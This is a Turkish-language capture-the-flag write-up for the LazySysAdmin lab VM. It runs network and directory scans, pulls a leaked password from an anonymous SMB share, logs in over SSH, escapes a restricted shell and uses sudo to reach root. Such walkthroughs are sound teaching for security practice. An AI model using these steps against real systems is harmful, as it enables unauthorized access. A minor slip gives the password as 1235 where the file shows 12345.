

Lazsysadmin Writeup

Önce netdiscover ile network taraması yapalım.

```
Currently scanning: 10.0.119.0/16 | Screen View: Unique Hosts
root@kali:~#
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240


| IP       | At MAC Address    | Count | Len | MAC Vendor / Hostname  |
|----------|-------------------|-------|-----|------------------------|
| 10.0.2.1 | 52:54:00:12:35:00 | 1     | 60  | Unknown vendor         |
| 10.0.2.2 | 52:54:00:12:35:00 | 1     | 60  | Unknown vendor         |
| 10.0.2.3 | 08:00:27:2f:f6:6f | 1     | 60  | PCS Systemtechnik GmbH |
| 10.0.2.8 | 08:00:27:93:d1:8d | 1     | 60  | PCS Systemtechnik GmbH |


root@kali:~#
```

Sonrasında nmap taraması yapalım.

```

root@kali:~# nmap -sS -sV -sC -Pn 10.0.2.8
Starting Nmap 7.80 ( https://nmap.org ) at 2024-11-20 16:37 EST
Nmap scan report for 10.0.2.8 (10.0.2.8)
Host is up (0.00050s latency).
Not shown: 994 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_ 1024 b5:38:66:0f:a1:ee:cd:41:69:3b:82:cf:ad:a1:f7:13 (DSA)
|_ 2048 58:5a:63:69:d0:da:dd:51:cc:c1:6e:00:fd:7e:61:d0 (RSA)
|_ 256 61:30:f3:55:1a:0d:de:c8:6a:59:5b:c9:9c:b4:92:04 (ECDSA)
|_ 256 1f:65:c0:dd:15:e6:e4:21:f2:c1:9b:a3:b6:55:a0:45 (ED25519)
80/tcp    open  http         Apache httpd 2.4.7 ((Ubuntu))
|_ _http-generator: Silex v2.2.7
|_ http-robots.txt: 4 disallowed entries
|_ /old/ /test/ /TR2/ /Backnode_files/
|_ _http-server-header: Apache/2.4.7 (Ubuntu)
|_ _http-title: Backnode
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
3306/tcp  open  mysql        MySQL (unauthorized)
6667/tcp  open  irc          InspIRCd
|_ irc-info:
|_   server: Admin.local
|_   users: 1
|_   servers: 1
|_   chans: 0
|_   lusers: 1
|_   lservers: 0
|_   source ident: nmap
|_   source host: 10.0.2.5
|_   error: Closing link: (nmap@10.0.2.5) [Client exited]
MAC Address: 08:00:27:93:D1:8D (Oracle VirtualBox virtual NIC)

```

80 portunda http servisi çalışıyor. Dirb ile dizin taraması yapalım.

```
root@kali:~# dirb http://10.0.2.8
```

```
DIRB v2.22
```

```
By The Dark Raver
```

```
START_TIME: Wed Nov 20 16:39:44 2024
```

```
URL_BASE: http://10.0.2.8/
```

```
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
```

```
GENERATED WORDS: 4612
```

```
—— Scanning URL: http://10.0.2.8/ ——
```

```
⇒ DIRECTORY: http://10.0.2.8/apache/
```

```
+ http://10.0.2.8/index.html (CODE:200|SIZE:36072)
```

```
+ http://10.0.2.8/info.php (CODE:200|SIZE:77203)
```

```
⇒ DIRECTORY: http://10.0.2.8/javascript/
```

```
⇒ DIRECTORY: http://10.0.2.8/old/
```

```
⇒ DIRECTORY: http://10.0.2.8/phpmyadmin/
```

```
+ http://10.0.2.8/robots.txt (CODE:200|SIZE:92)
```

```
+ http://10.0.2.8/server-status (CODE:403|SIZE:288)
```

```
⇒ DIRECTORY: http://10.0.2.8/test/
```

```
⇒ DIRECTORY: http://10.0.2.8/wordpress/
```

```
⇒ DIRECTORY: http://10.0.2.8/wp/
```

```
—— Entering directory: http://10.0.2.8/apache/ ——
```

```
(!) WARNING: Directory IS LISTABLE. No need to scan it.
```

```
(Use mode '-w' if you want to scan it anyway)
```

Worpress adında bir sayfa olduğunu görüyoruz.

Web_TR2



FIND US

Address
Straya

Hours

24/7

SEARCHY SEARCHY

Hello world!

Please dont make me setup wp again 😞

My name is togie.

My name is togie.

My name is togie.

My name is togie.

My name is togie.

My name is togie mesajını görüyoruz. Kullanıcı adının togie olduğunu keşfediyoruz. Şimdi smb servisi üzerine gidelim.

```
enum4linux 10.0.2.8
```

Sharename	Type	Comment
print\$	Disk	Printer Drivers
share\$	Disk	Sumshare
IPC\$	IPC	IPC Service (Web server)

SMB1 disabled -- no workgroup available

[+] Attempting to map shares on 10.0.2.8

```
//10.0.2.8/print$      Mapping: DENIED, Listing: N/A
//10.0.2.8/share$      Mapping: OK, Listing: OK
//10.0.2.8/IPC$ [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
```

Share dizinini listeleyebildiğimizi görüyoruz. Şimdi içindeki dosyaları görmeye çalışalım.

```
root@kali:~# smbclient -L 10.0.2.8
```

```
Enter WORKGROUP\root's password:
```

Sharename	Type	Comment
print\$	Disk	Printer Drivers
share\$	Disk	Sumshare
IPC\$	IPC	IPC Service (Web server)

```
SMB1 disabled -- no workgroup available
```

```
root@kali:~# smbclient '\\10.0.2.8\share$'
```

```
Enter WORKGROUP\root's password:
```

```
Try "help" to get a list of possible commands.
```

```
smb: \> dir
```

.	D	0	Tue Aug 15 07:05:52 2017
..	D	0	Mon Aug 14 08:34:47 2017
wordpress	D	0	Wed Nov 20 15:41:06 2024
Backnode_files	D	0	Mon Aug 14 08:08:26 2017
wp	D	0	Tue Aug 15 06:51:23 2017
deets.txt	N	139	Mon Aug 14 08:20:05 2017
robots.txt	N	92	Mon Aug 14 08:36:14 2017
todolist.txt	N	79	Mon Aug 14 08:39:56 2017
apache	D	0	Mon Aug 14 08:35:19 2017
index.html	N	36072	Sun Aug 6 01:02:15 2017
info.php	N	20	Tue Aug 15 06:55:19 2017
test	D	0	Mon Aug 14 08:35:10 2017
old	D	0	Mon Aug 14 08:35:13 2017

```
3029776 blocks of size 1024. 1373884 blocks available
```

```
smb: \> █
```

Anonim olarak girmeyi başardık. İçi dolu olan deets.txt ve todolist.txt dosyalarını get komutu ile alalım.

```
smb: \> get todolist.txt
```

```
getting file \todolist.txt of size 79 as todolist.txt (9.6 KiloBytes/sec) (average 9.6 KiloBytes/sec)
```

```
smb: \> get deets.txt
```

```
getting file \deets.txt of size 139 as deets.txt (19.4 KiloBytes/sec) (average 14.2 KiloBytes/sec)
```

```
smb: \> █
```

```

root@kali:~# cat todoclist.txt
Prevent users from being able to view to web root using the local file browser
root@kali:~# cat deets.txt
CBF Remembering all these passwords.

Remember to remove this file and update your password after we push out the server.

Password 12345

root@kali:~# █

```

Parolanın 1235 olduğunu bulduk. Ssh ile togie kullanıcısına bağlanmayı deneyelim.

```

root@kali:~# ssh togie@10.0.2.8
#####
#                               Welcome to Web_TR1                               #
#                               All connections are monitored and recorded          #
#                               Disconnect IMMEDIATELY if you are not an authorized user!#
#####

togie@10.0.2.8's password:
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686)

* Documentation:  https://help.ubuntu.com/

System information as of Thu Nov 21 07:02:41 AEST 2024

System load:  0.0           Processes:      171
Usage of /:   48.9% of 2.89GB Users logged in:    0
Memory usage: 31%          IP address for eth0: 10.0.2.8
Swap usage:   0%

Graph this data and manage this system at:
https://landscape.canonical.com/

239 packages can be updated.
191 updates are security updates.

New release '16.04.7 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

togie@LazySysAdmin:~$ █

```

Evet bağlanmayı başardık.

```
togie@LazySysAdmin:~$ cd ..
-rbash: cd: restricted
togie@LazySysAdmin:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
togie@LazySysAdmin:~$ ls /bin
bash          cat           dmesg         grep           ln             mt             ntfsck        ping          sed           touch         zdiff
bunzip2       chgrp         dnsdomainname gunzip          loadkeys       mt-gnu         ntfscluster  ping6         setfont       true          zegrep
busybox       chmod         domainname    gzexe          login          mv             ntfsdump      plymouth      setupcon      udevadm       zfgrep
bzip2         chown         dumpkeys     gzip           loginctl       nano           ntfsdump_logfile plymouth-upstart-bridge sh             ulockmgr_server zforce
bzcmp         chvt          ed            hostname       lowntfs-3g    nc             ntfsfix       ps            sh.distrib    umount        zgrep
bzdiff        cp            egrep         ip             ls             nc.openbsd    ntfsinfo     pwd           sleep         uname         zless
bzegrep       cpio          false         kbd_mode       lsblk          netcat         ntfsinfo     rbash         ss            uncompress   zmore
bzexe         dash          fgconsole    kill           lsmblk         netstat        ntfsinfo     readlink      static-sh     unicode_start znew
bzfgrep       date          fgrep        kmod           lsmblk         nisdomainname ntfsmove     readlink      stty          vdir
bzgrep        dbus-cleanup-sockets fgrconsole   less           mkmod          ntfs-3g       ntfsmove     rm            sync          which
bzzip2        dbus-daemon   fgr           lessecho       mktemp         ntfs-3g.probe ntfsmove     rmdir         tar           whiptail
bzzip2recover dbus-uuidgen  findmnt       lessecho       mktemp         ntfs-3g.probe ntfsmove     rmdir         tar           whiptail
bzless        dd            fuser         lesskey        mount          ntfs-3g.secaudit openvt        rmdir         tar           ydpdomainname
bzmore        df            fusermount   lesspipe       mountpoint     ntfs-3g.usermap openvt        run-parts     tempfile     zcat
togie@LazySysAdmin:~$ bash
togie@LazySysAdmin:~$ cd ..
togie@LazySysAdmin:/home$
```

Sınırlı bir shellimiz olduğunu tespit ettik. PATH değişkeni ile çalıştırabildiğimiz komutları araştırdık. /bin dizini altında bash komutu olduğunu tespit ettik. Bash yazarak kısıtlı shell den kaçmayı başardık.

```
togie@LazySysAdmin:/home$ sudo -l
[sudo] password for togie:
Matching Defaults entries for togie on LazySysAdmin:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User togie may run the following commands on LazySysAdmin:
    (ALL : ALL) ALL
togie@LazySysAdmin:/home$
```

root yetkisiyle tüm komutları çalıştırabildiğimizi gördük.


```
(ALL : ALL) ALL
togie@LazySysAdmin:/home$ sudo su
root@LazySysAdmin:/home# ls
togie
root@LazySysAdmin:/home# cd /root
root@LazySysAdmin:~# ls
proof.txt
root@LazySysAdmin:~# cat proof.txt
WX6k7NJtA8gfk*w5J3&T@*Ga6!0o5UP89hMVEQ#PT9851
```

Well done :)

Hope you learn't a few things along the way.

Regards,

Togie Mcdogie

Enjoy some random strings

```
WX6k7NJtA8gfk*w5J3&T@*Ga6!0o5UP89hMVEQ#PT9851
2d2v#X6×9%D6!DDf4xC1ds6Yd0Ejug3otDmc1$#s1TET7
pf%&1nRpaj^68ZeV2St9GkdoDkj48Fl$MI97Zt2nebt02
bh0!5Je65B6Z0bhZhQ3W64wL65wonnQ$@yw%Zhy0U19pu
root@LazySysAdmin:~#
```

Sudo su diyerek root hesabına geçiş yaptık ve bayrağı almayı başardık.